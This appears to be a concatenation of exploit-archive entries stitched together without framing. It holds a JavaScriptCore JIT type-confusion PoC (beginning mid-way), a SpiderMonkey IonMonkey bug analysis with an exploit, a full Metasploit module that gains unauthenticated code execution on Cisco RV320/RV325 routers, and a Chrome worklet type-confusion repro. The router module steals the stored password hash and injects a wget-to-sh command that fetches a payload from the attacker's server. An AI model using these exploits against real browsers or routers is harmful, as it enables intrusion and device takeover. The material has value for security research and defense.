Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } });
// Compile a function that will end up creating an array with SlowPutArrayStorage.
function helper(i) {
// After JIT compilation, this new Array call will construct a normal array (with the
// original Array prototype) with SlowPutArrayStorage due to profiling information from
// previous executions (which all ended up transitioning to SlowPutArrayStorage).
let a = new Array;
if (i > 0) {
// Convert the array to SlowPutArrayStorage by installing a prototype with indexed
// accessors. We can't directly use this object though as the prototype is different and
// thus the structure has changed.
Object.setPrototypeOf(a, protoWithIndexedAccessors);
}
return a;
}
for (let i = 1; i < 10000; i++) {
helper(i);
}
return helper(0);
}
Once the helper function is JIT compiled, the profile information for the "new Array" operation will indicate that the resulting array will eventually use the ArrayWithSlowPutArrayStorage indexing mode. As such, the engine decides to directly allocate the object with ArrayWithSlowPutArrayStorage during `new Array` in the JIT code. By not going into the if branch it is possible to construct an array with SlowPutArrayStorage that never changed its prototype from the original array prototype (which causes a structure transition and as such cannot be used).
From here, it is possible to create the same structure that will later become regExpMatchesArrayWithGroupsStructure after having a bad time:
let a = createArrayWithSlowPutArrayStorage();
a.index = 1337;
a.input = "foobar"
a.groups = obj;
However, this time the engine will use inferred types for all properties since this is the first time the structure is created and all properties are initialized with values. With that, it is now possible to compile a function that uses these inferred types to omit type checks, such as:
// Install a global property with inferred type of ObjectWithStructure.
global = a;
// Must assign twice, otherwise JIT assumes 'global' is a constant.
global = a;
function hax() {
return global.groups.someProperty;
}
This function will be compiled without any StructureCheck operations to perform runtime type checks as everything is based on inferred types.
Next, String.match is invoked to produce an object with the same structure but which now violates the inferred type due to createRegExpMatchesArray using putDirect for the property store. The resulting object can safely be assigned to the 'global' variable as it has the same structure as before. Afterwards, the compiled function can be invoked again to cause a type confusion when accessing .someProperty because the .groups property now has a different Structure than indicated by its inferred type.
To recap, the steps to achieve a type confusion between an object of type TX and an object of type TY, where both TX and TY can be arbitrarily chosen, are as follows:
1. Let X and Y be two objects with structures S1 and S2 respectively (corresponding to type TX and type TY).
2. Let O be an object with an out-of-line property whose value is X and inferred type thus TX. O will have structure S3.
3. Create an array with unmodified prototype chain and SlowPutArrayStorage as described above. It will have structure S4 (plain array with SlowPutStorage).
4. Add properties 'index', 'input', and 'groups' in that order to create structures S5, S6, and S7. Set the initial value of the 'groups' property to O so its inferred type will be ObjectWithStructure S3.
5. Have a bad time: install an indexed accessor on the array prototype. This will cause arrays to be converted and regExpMatchesArrayWithGroupsStructure to be recreated. However, since the structure transitions already exist, regExpMatchesArrayWithGroupsStructure will become structure S7. The inferred types for S7 will not change since no property values are assigned.
6. JIT compile a function that relies on the inferred type of the .groups property of structure S7 which is ObjectWithStructure S3.
7. Call String.prototype.match to create an object M with structure S8, which, however, violates the inferred types as createRegExpMatchesArray uses putDirect.
8. Set the first out-of-line property of M.groups to Y.
9. Call the JIT compiled function with M. As M has structure S7, the code will not bail out, then access the first out-of-line property of M.groups believing it to be type TX while it really is type TY now.
The attached PoC uses this to confuse an object with a double inline property with an object with a pointer inline property.
*/
// /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js
// The PoC will confuse objX with objY.
// objX will have structure S1, objY structure S2.
let objX = {objProperty: {fetchme: 1234}};
let objY = {doubleProperty: 2130562.5098039214}; // 0x4141414141414141 in memory
// Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to
// `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++.
function createArrayWithSlowPutArrayStorage() {
let protoWithIndexedAccessors = {};
Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } });
// Compile a function that will end up creating an array with SlowPutArrayStorage.
function helper(i) {
// After JIT compilation, this new Array call will construct a normal array (with the
// original Array prototype) with SlowPutArrayStorage due to profiling information from
// previous executions (which all ended up transitioning to SlowPutArrayStorage).
let a = new Array;
if (i > 0) {
// Convert the array to SlowPutArrayStorage by installing a prototype with indexed
// accessors. This object can, however, not be used directly as the prototype is
// different and thus the structure has changed.
Object.setPrototypeOf(a, protoWithIndexedAccessors);
}
return a;
}
for (let i = 1; i < 10000; i++) {
helper(i);
}
return helper(0);
}
// Helper object using inferred types.
let obj = {};
obj.inlineProperty1 = 1337;
obj.inlineProperty2 = 1338;
obj.oolProperty1 = objX; // Inferred type of 'oolProperty1' will be ObjectWithStructure S1.
// 'obj' now has structure S3.
// Create the same structure (S4) that will later (when having a bad time) be used as
// regExpMatchesArrayWithGroupsStructure. Since property values are assigned during the initial
// structure transition, inferred types for all property values are created.
let a = createArrayWithSlowPutArrayStorage(); // a has Structure S4,
a.index = 42; // S5,
a.input = "foobar"; // S6,
a.groups = obj; // and S7.
// The inferred type for the .groups property will be ObjectWithStructure S3.
// Inferred type for this property will be ObjectWithStructure S7.
global = a;
// Must assign twice so the JIT uses the inferred type instead of assuming that
// the property is constant and installing a replacement watchpoint to
// deoptimize whenever the property is replaced.
global = a;
// Have a bad time. This will attempt to recreate the global regExpMatchesArrayWithGroupsStructure
// (to use an array with SlowPutArrayStorage), but since the same structure transitions were
// performed before, it will actually reuse the existing structure S7. As no property values are
// assigned, all inferred types for structure S7 will still be valid.
Object.defineProperty(Array.prototype, 1337, { get() { return 1337; } });
// Compile a function that uses the inferred value of 'global' to omit type checks.
function hax() {
return global.groups.oolProperty1.objProperty.fetchme;
}
for (let i = 0; i < 10000; i++) {
hax(i);
}
// Create an ObjectWithStructure S7 which violates the inferred type of .groups (and potentially
// other properties) due to createRegExpMatchesArray using putDirect.
let match = "hax".match(/(?<oolProperty1>hax)/);
// match.groups has structure S8 and so assignments to it won't invalidate inferred types of S7.
match.groups.oolProperty1 = objY; // This property overlaps with oolProperty1 of structure S3.
// The inferred type for 'global' is ObjectWithStructure S4 so watchpoints will not be fired.
global = match;
// Trigger the type confusion.
hax();
A bug in IonMonkey leaves type inference information inconsistent, which in turn allows the compilation of JITed functions that cause type confusions between arbitrary objects.
# Prerequisites
In Spidermonkey, every JavaScript objects is an instance of the JSObject class [1]. Plain JavaScript objects (e.g. ones created through an object literal) are typically instances of the NativeObject [2] class. A NativeObject is basically:
* An ObjectGroup [3] which stores things like the prototype and type information for properties (see below)
* The Shape [4] of the object which indicates the location of properties. A Shape could e.g. tell that property .p is stored in the 2nd property slot
* Property storage [5]: a dynamically sized array in which the property values are stored. The Shapes provide indices into this array
* Element storage [6]: a dynamically sized array in which elements (properties with an integer key) are stored
Spidermonky makes use of type inference to perform various optimizations in the JIT. Specifically, type inference is used to predict the types of object properties and then omit runtime type checks for them. Such a type inference system for property values is only safe as long as every property store to an object validates that the type of the new value is consistent with the existing type information or, if not, updates ("widens") the inferred type. In Spidermonkey's interpreter this is done in e.g. AddOrChangeProperty [7]. In the JIT compiler (IonMonkey), this is done through "type barriers" [8]: small runtime type checks that ensure the written value is consistent with what is stored as inferred type and otherwise bail out from the JITed code.
# Crashing Testcase
The following program, found through fuzzing and then manually modified, crashes Spidermonkey with an assertion that verifies that type inference data is consistent with the actual values stored as properties:
function hax(o, changeProto) {
if (changeProto) {
o.p = 42;
o.__proto__ = {};
}
o.p = 13.37;
return o;
}
for (let i = 0; i < 1000; i++) {
hax({}, false);
}
for (let i = 0; i < 10000; i++) {
let o = hax({}, true);
eval('o.p'); // Crash here
}
Crashes in debug builds of Spidermonkey with:
Assertion failure: [infer failure] Missing type in object [Object * 0x327f2ca0aca0] p: float, at js/src/vm/TypeInference.cpp:265
Hit MOZ_CRASH() at js/src/vm/TypeInference.cpp:266
This assertion expresses that type inference data is inconsistent for the property .p as the type "float" is not in the list of possible types but the property currently holds a float value.
# Bug Analysis
In essence it appears that IonMonkey fails to realize that the ObjectGroup of the object `o` can change throughout the function (specifically during the prototype change) and thus incorrectly omits a type barrier for the second property assignment, leading to inconsistent type inference information after the property assignment.
In detail, the following appears to be happening:
The first loop runs and allocates NativeObjects with ObjectGroup OG1 and Shape S1. After some iterations the function hax is JIT compiled. At that point, the compiled code will expect to be called with an object of ObjectGroup OG1 as input. OG1 will have inferred types {.p: [float]} because the body of the if condition was never executed and so property .p was never set to a non-float value.
Then the second loop starts running, which will allocate objects using a new ObjectGroup, OG2 (I'm not exactly sure why it's a new one here, most likely some kind of heuristic) but still using Shape S1. As such, the compiled code for hax will be invalidated [9]. Then, during the first invocation of hax with changeProto == true, a new prototype will be set for o, which will
1. cause a new ObjectGroup to be allocated for O (because prototypes are stored in the object group) and
2. cause the previous object group (OG2) to discard any inferred types and set the state of inferred properties to unknown [10]. An ObjectGroup with unknownProperties is then never again used for type inference of properties [11].
At a later point in the loop, the function is recompiled, but this time it is compiled to expect an object of ObjectGroup OG1 or OG2 as input. The JIT compiled code for hax will now look something like this (pseudocode):
// Verify that the input is an object with ObjectGroup OG1 or OG2 (actually
// this check is performed before entering the JITed code)
VerifyInputTypes
if (changeProto) {
// A SetProperty [12] inline cache [13] which will perform the actual
// property store and speed up subsequent property stores on objects of
// the same Shape and Group. Since a type barrier is required, the Group
// is used as an additional index into the cache so that both Shape and
// Group must match, in which case no inferred types could be
// accidentially invalidated.
SetPropertyICWithTypeBarrier o.p 42
Call ChangePrototype(o, {})
}
// Another inline cache to store property .p again, but this time without a
// type barrier. As such, only the Shape will be checked and not the Group.
SetPropertyIC o.p 13.37
Return o
After compilation finishes, the following happens in the first invocation of the JITed code:
* The function is called with an object of ObjectGroup OG2 and Shape S1
* The property .p is stored on the object in the first SetProperty cache. This does not update any inferred type as OG2 does not use inferred types
* The prototype of o is changed
* This again causes a new ObjectGroup, OG3, to be allocated
* When creating the new group, property types are inferred from the current object (this is possible because it is the only object using the new group) [14]
* As such, o now has an ObjectGroup OG3 with inferred types {.p: [int]}
* The second propertystore cache runs into a cache miss (because it is empty at this point)
* Execution transfers to the slow path (a runtime property store)
* This will store the property and update the inferred types of OG3 to {.p: [int, float]}
* It will then update the inline cache to now directly handle property stores to objects with shape S1
* Because this SetPropertyIC is not marked as requiring a type barrier, the cache only guards on the Shape, not the Group [15]
Then, in the second invocation of the JITed code:
* As above, a new ObjectGroup OG4 is allocated for o with inferred types {.p: [int]} when changing the prototype
* The second SetPropertyIC now runs into a cache hit (because it only looks at the Shape which is still S1)
* It then directly writes the property value into the property slot without updating inferred types
As such, after the second invocation the returned object is one whose ObjectGroup (OG4) states that the property .p must be an integer but it really is a float. At this time, any validation of inferred types will crash with an assertion as happens during the runtime property lookup of .p in the call to eval().
The core issue here is that the second property store was marked as not requiring a type barrier. To understand why, it is necessary to look into the logic determining whether a property write should be guarded with a type barrier, implemented in jit::PropertyWriteNeedsTypeBarrier [16]. The logic of that function is roughly:
1. Iterate over the set of possible object types, in this case that is OG1 and OG2
2. For every group, check whether storing a value of type T (in this case float) would violate inferred property types
- In this case, OG1 already has the correct type for property .p, so no violation there
- And OG2 does not even track property types, so again no violation [17]
3. If no violations were found, no type barrier is needed
The problem is that PropertyWriteNeedsTypeBarrier operates on the possible ObjectGroups of the input object at the beginning of the function which are not necessarily the same as at the time the property store is performed. As such, it fails to realize that the input object can actually have an ObjectGroup (in this case OG4) that has inferred property types that would be violated by the property write. It then falsely determine that a type barrier is not needed, leading to the scenario described above.
# Exploitation
Exploitation of this type of vulnerability comes down to JIT compiling a function in such a way that the compiler makes use of type inference data to omit runtime type checks. Afterwards a type confusion between arbitrary objects can be achieved.
The following code demonstrates this by setting the inferred type to Uint8Array but actually storing an object with controlled property values (overlapping with internal fields of a Uint8Array) in the property. It then compiles code (the function pwn) to omit type checks on the property value based on its inferred types, thus treating the custom object as a Uint8Array and crashing when reading from 0x414141414141:
let ab = new ArrayBuffer(1024);
function hax(o, changeProto) {
// The argument type for |o| will be object of group OG1 or OG2. OG1 will
// have the inferred types {.p: [Y]}. OG2 on the other hand will be an
// ObjectGroup with unknown property types due to the prototype change. As
// such, OG2 will never have any inferred property types.
// Ultimately, this code will confuse types X and Y with each other.
// Type X: a Uint8Array
let x = new Uint8Array(1024);
// Type Y: a unboxed object looking a bit like a Uint8Array but with controlled data... :)
let y = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: 3.54484805889626e-310};
if (changeProto) {
o.p = x;
// This prototype change will cause a new ObjectGroup, OG_N, to be
// allocated for o every time it is executed (because the prototype is
// stored in the ObjectGroup). During creation of the new ObjectGroup,
// the current property values will be used to infer property types. As
// such, OG_N will have the inferred types {.p: [X]}.
o.__proto__ = {};
}
// This property write was not marked as requiring type barriers to
// validate the consistency of inferred property types. The reason is that
// for OG1, the property type is already correct and OG2 does not track
// property types at all. However, IonMonkey failed to realize that the
// ObjectGroup of o could have changed in between to a new ObjectGroup that
// has different inferred property types. As such, the type barrier
// omission here is unsafe.
//
// In the second invocation, the inline cache for this property store will
// then be a hit (because the IC only uses the Shape to index the cache,
// not the Group). As such, the inferred types associated with the
// ObjectGroup for o will not be updated and will be left inconsistent.
o.p = y;
return o;
}
function pwn(o, trigger) {
if (trigger) {
// Is on a code path that wasn't executed in the interpreter so that
// IonMonkey solely relies on type inference instead of type profiles
// from the interpreter (which would show the real type).
return o.p[0];
} else {
return 42;
}
}
// "Teach" the function hax that it should accept objects with ObjectGroup OG1.
// This is required as IonMonkey needs to have at least one "known" type when
// determining whether it can omit type barriers for property writes:
// https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6282
for (let i = 0; i < 10000; i++) {
hax({}, false);
}
// Compile hax to trigger the bug in such a way that an object will be created
// whose ObjectGroup indicates type X for property .p but whose real type will
// be Y, where both X and Y can be arbitrarily chosen.
let evilObj;
for (let i = 0; i < 10000; i++) {
evilObj = hax({}, true);
// Not sure why this is required here, it maybe prevents JITing of the main
// script or similar...
eval('evilObj.p');
}
// JIT compile the second function and make it rely on the (incorrect) type
// inference data to omit runtime type checks.
for (let i = 0; i < 100000; i++) {
pwn(evilObj, false);
}
// Finally trigger a type confusion.
pwn(evilObj, true);
Note, this way of exploiting the issue requires UnboxedObjects [18] which have recently been disabled by default [19]. However, the bug itself does not require UnboxedObjects and can be exploited in other ways. UnboxedObjects are just the most (?) convenient way.
[1] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/JSObject.h#L54
[2] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L463
[3] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/ObjectGroup.h#L87
[4] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/Shape.h#L37
[5] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L466
[6] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.h#L469
[7] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.cpp#L1448
[8] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.h#L10254
[9] https://blog.mozilla.org/javascript/2012/10/15/the-ins-and-outs-of-invalidation/
[10] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/JSObject.cpp#L2219
[11] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/TypeInference.cpp#L2946
[12] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonIC.h#L280
[13] https://www.mgaudet.ca/technical/2018/6/5/an-inline-cache-isnt-just-a-cache
[14] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/NativeObject.cpp#L1259
[15] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/CacheIR.cpp#L3544
[16] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6268
[17] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/MIR.cpp#L6293
[18] https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.h#L187
[19] https://github.com/mozilla/gecko-dev/commit/26965039e60a00b3600ce2e6a559106e4a3a30ca
Bugzilla entry: https://bugzilla.mozilla.org/show_bug.cgi?id=1538120
Fixed in https://www.mozilla.org/en-US/security/advisories/mfsa2019-09/#CVE-2019-9813 (bug collision with a pwn2own entry)
The issue was fixed in two ways:
1. in https://github.com/mozilla/gecko-dev/commit/0ff528029590e051baa60265b3af92a632a7e850 the code that adds inferred properties after a prototype change (step `* When creating the new group, property types are inferred from the current object` above) was changed to no longer create inferred property types when coming from Groups marked as having unknownProperties. As such, in this case the new ObjectGroups created from OG2 would now all have unknownProperties as well.
2. in https://github.com/mozilla/gecko-dev/commit/f8ce40d176067800e5dda013fb4d8ff9e91d9a88 the function responsible for determining whether write barriers can be omitted (jit::PropertyWriteNeedsTypeBarrier) was modified to always emit write barriers if one of the input groups has unknownProperties.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",
'Description' => %q{
This exploit module combines an information disclosure (CVE-2019-1653)
and a command injection vulnerability (CVE-2019-1652) together to gain
unauthenticated remote code execution on Cisco RV320 and RV325 small business
routers. Can be exploited via the WAN interface of the router. Either via HTTPS
on port 443 or HTTP on port 8007 on some older firmware versions.
},
'License' => MSF_LICENSE,
'Author' => [
'RedTeam Pentesting GmbH', # Discovery, Metasploit
'Philip Huppert', # Discovery
'Benjamin Grap' # Metasploit
],
'References' => [
[ 'CVE','2019-1653' ],
[ 'CVE','2019-1652' ],
[ 'EDB','46243' ],
[ 'BID','106728' ],
[ 'BID','106732' ],
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]
],
'Platform' => 'linux',
'Targets' =>
[
[ 'LINUX MIPS64',
{
'Platform' => 'linux',
'Arch' => ARCH_MIPS64
}
]
],
'Payload' =>
{
'BadChars' => ""
},
'CmdStagerFlavor' => [ 'bourne' ],
'Privileged' => true,
'DisclosureDate' => "Sep 9 2018",
'DefaultTarget' => 0))
register_options([
Opt::RPORT(8007), # port of Cisco webinterface
OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),
OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.
])
deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.
deregister_options('SSLCert') # not required since stager only uses HTTP.
end
def execute_command(cmd, opts = {})
# use generated payload, we don't have to do anything here
end
def autofilter
true
end
def on_request_uri(cli, req)
print_status("#{peer} - Payload request received: #{req.uri}")
@cmdstager = generate_cmdstager().join(';')
send_response(cli, "#{@cmdstager}")
end
def primer
payload_url = get_uri
print_status("Downloading configuration from #{peer}")
if(datastore['USE_SSL'])
print_status("Using SSL connection to router.")
end
res = send_request_cgi({
'uri' => normalize_uri("cgi-bin","config.exp"),
'SSL' => datastore['USE_SSL']
})
unless res
vprint_error('Connection failed.')
return nil
end
unless res.code == 200
vprint_error('Could not download config. Aborting.')
return nil
end
print_status("Successfully downloaded config")
username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]
pass = res.body.match(/^PASSWD=(\h+)/)[1]
authkey = "1964300002"
print_status("Got MD5-Hash: #{pass}")
print_status("Loging in as user #{username} using password hash.")
print_status("Using default auth_key #{authkey}")
res2 = send_request_cgi({
'uri' => normalize_uri("cgi-bin","userLogin.cgi"),
'SSL' => datastore['USE_SSL'],
'method' => 'POST',
'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch¤t_password=&new_password=&re_new_password="
})
unless res
vprint_error('Connection failed during login. Aborting.')
return nil
end
unless res.code == 200
vprint_error('Login failed with downloaded credentials. Aborting.')
return nil
end
#Extract authentication cookies
cookies = res2.get_cookies()
print_status("Successfully logged in as user #{username}.")
print_status("Got cookies: #{cookies}")
print_status("Sending payload. Staging via #{payload_url}.")
#Build staging command
command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
if(command_string.length <= 63)
print_status("Staging command length looks good. Sending exploit!")
else
vprint_error("Warning: Staging command length probably too long. Trying anyway...")
end
res3 = send_request_cgi({
'uri' => normalize_uri("certificate_handle2.htm"),
'SSL' => datastore['USE_SSL'],
'method' => 'POST',
'cookie' => cookies,
'vars_get' => {
'type' => '4',
},
'vars_post' => {
'page' => 'self_generator.htm',
'totalRules' => '1',
'OpenVPNRules' => '30',
'submitStatus' => '1',
'log_ch' => '1',
'type' => '4',
'Country' => 'A',
'state' => 'A',
'locality' => 'A',
'organization' => 'A',
'organization_unit' => 'A',
'email' => 'any@example.com',
'KeySize' => '512',
'KeyLength' => '1024',
'valid_days' => '30',
'SelectSubject_c' => '1',
'SelectSubject_s' => '1'
},
'data' => "common_name=#{command_string}"
})
unless res3
vprint_error('Connection failed while sending command. Aborting.')
return nil
end
unless res3.code == 200
vprint_error('Sending command not successful.')
return nil
end
print_status("Sending payload timed out. Waiting for stager to connect...")
end
def check
#Check if device is vulnerable by downloading the config
res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})
unless res
vprint_error('Connection failed.')
return CheckCode::Unknown
end
unless res.code == 200
return CheckCode::Safe
end
unless res.body =~ /PASSWD/
return CheckCode::Detected
end
CheckCode::Vulnerable
end
def exploit
# Main function.
# Setting delay for the Stager.
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
print_status("Waiting for stager connection timed out. Try increasing the delay.")
end
end
<!--
VULNERABILITY DETAILS
https://cs.chromium.org/chromium/src/third_party/blink/renderer/bindings/core/v8/initialize_v8_extras_binding.cc?rcl=b16591511b299e0791def0b85dced2c74efc4961&l=90
void AddOriginals(ScriptState* script_state, v8::Local<v8::Object> binding) {
// These values are only used when serialization is enabled.
if (!RuntimeEnabledFeatures::TransferableStreamsEnabled())
return;
v8::Local<v8::Object> global = script_state->GetContext()->Global();
v8::Local<v8::Context> context = script_state->GetContext();
v8::Isolate* isolate = script_state->GetIsolate();
const auto ObjectGet = [&context, &isolate](v8::Local<v8::Value> object,
const char* property) {
DCHECK(object->IsObject());
return object.As<v8::Object>()
->Get(context, V8AtomicString(isolate, property))
.ToLocalChecked();
};
[...]
v8::Local<v8::Value> message_port = ObjectGet(global, "MessagePort");
v8::Local<v8::Value> dom_exception = ObjectGet(global, "DOMException");
// Most Worklets don't have MessagePort. In this case, serialization will
// fail. AudioWorklet has MessagePort but no DOMException, so it can't use
// serialization for now.
if (message_port->IsUndefined() || dom_exception->IsUndefined()) // ***1***
return;
v8::Local<v8::Value> event_target_prototype =
GetPrototype(ObjectGet(global, "EventTarget"));
Bind("EventTarget_addEventListener",
ObjectGet(event_target_prototype, "addEventListener"));
v8::Local<v8::Value> message_port_prototype = GetPrototype(message_port);
Bind("MessagePort_postMessage",
ObjectGet(message_port_prototype, "postMessage"));
[...]
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=b16591511b299e0791def0b85dced2c74efc4961&l=1044
function ReadableStreamSerialize(readable, port) {
// assert(IsReadableStream(readable),
// `! IsReadableStream(_readable_) is true`);
if (IsReadableStreamLocked(readable)) {
throw new TypeError(streamErrors.cannotTransferLockedStream);
}
if (!binding.MessagePort_postMessage) { // ***2***
throw new TypeError(streamErrors.cannotTransferContext);
}
const writable = CreateCrossRealmTransformWritable(port);
const promise =
ReadableStreamPipeTo(readable, writable, false, false, false);
markPromiseAsHandled(promise);
}
A worklet's context might not have the objects required to implement ReadableStream serialization.
In that case, |AddOriginals| would exit early leaving the |binding| object partially initialized[1].
|ReadableStreamSerialize| checks if the "MessagePort_postMessage" property exists on the |binding|
object to determine whether serialization is possible[2]. The problem is that the check would be
observable to a getter defined on |Object.prototype|, which could leak the value of |binding|.
VERSION
Google Chrome 73.0.3683.39 (Official Build) beta (64-bit) (cohort: Beta)
Chromium 74.0.3712.0 (Developer Build) (64-bit)
Also, please note that the "stream serialization" feature is currently hidden behind the
"experimental platform features" flag.
REPRODUCTION CASE
The repro case uses the leaked |binding| object to redefine an internal method and trigger a type
confusion.
-->
<body>
<h1>Click to start AudioContext</h1>
<script>
function runInWorket() {
function leakBinding(port) {
let stream = new ReadableStream;
let binding;
Object.prototype.__defineGetter__("MessagePort_postMessage", function() {
binding = this;
});
try {
port.postMessage(stream, [stream]);
} catch (e) {}
delete Object.prototype.MessagePort_postMessage;
return binding;
}
function triggerTypeConfusion(binding) {
console.log(Object.keys(binding));
binding.ReadableStreamTee = function() {
return 0x4142;
}
let stream = new ReadableStream;
stream.tee();
}
class MyWorkletProcessor extends AudioWorkletProcessor {
constructor() {
super();
triggerTypeConfusion(leakBinding(this.port));
}
process() {}
}
registerProcessor("my-worklet-processor", MyWorkletProcessor);
}
let blob = new Blob([`(${runInWorket}())`], {type: "text/javascript"});
let url = URL.createObjectURL(blob);
window.onclick = () => {
window.onclick = null;
class MyWorkletNode extends AudioWorkletNode {
constructor(context) {
super(context, "my-worklet-processor");
}
}
let context = new AudioContext();
context.audioWorklet.addModule(url).then(() => {
let node = new MyWorkletNode(context);
});
}
</script>
</body>